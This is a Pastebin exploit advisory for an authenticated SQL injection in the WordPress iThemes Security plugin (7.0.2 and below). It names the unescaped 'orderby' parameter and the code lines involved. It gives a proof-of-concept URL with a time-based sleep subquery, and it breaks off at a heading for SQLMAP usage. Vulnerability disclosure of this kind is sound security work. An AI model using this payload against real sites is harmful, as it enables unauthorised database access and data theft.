Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Exploit Title: WordPress Plugin iThemes Security(better-wp-security) <= 7.0.2 - Authenticated SQL Injection
- # Vendor Homepage: https://ithemes.com/
- # Software Link: https://wordpress.org/plugins/better-wp-security/
- # Version/s: 7.0.2 and below
- Plugin description:
- iThemes Security works to lock down WordPress, fix common holes, stop automated attacks and strengthen user credentials. With advanced features for experienced users, this WordPress security plugin can help harden WordPress.
- Description:
- WordPress Plugin iThemes Security(better-wp-security) before 7.0.3 allows remote authenticated users to execute arbitrary SQL commands via the 'orderby' parameter in the 'itsec-logs' page to wp-admin/admin.php.
- Technical details:
- Parameter orderby is vulnerable because backend variable $sort_by_column
- is not escaped.
- File: better-wp-security/core/admin-pages/logs-list-table.php
- Line 271: if ( isset( $_GET[' orderby '], $_GET['order'] ) ) {
- Line 272: $ sort_by_column = $_GET[' orderby '];
- File: better-wp-security/core/lib/log-util.php
- Line 168: $query .= ' ORDER BY ' . implode( ', ', $ sort_by_column ));
- Proof of Concept (PoC):
- The following GET request will cause the SQL query to execute and sleep for 10 seconds if clicked on as an authenticated admin:
- http://localhost/wp-admin/admin.php?page=itsec-logs&filter=malware&orderby=remote_ip%2c(select*from(select(sleep(10)))a)&order=asc&paged=0
- Using SQLMAP:
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement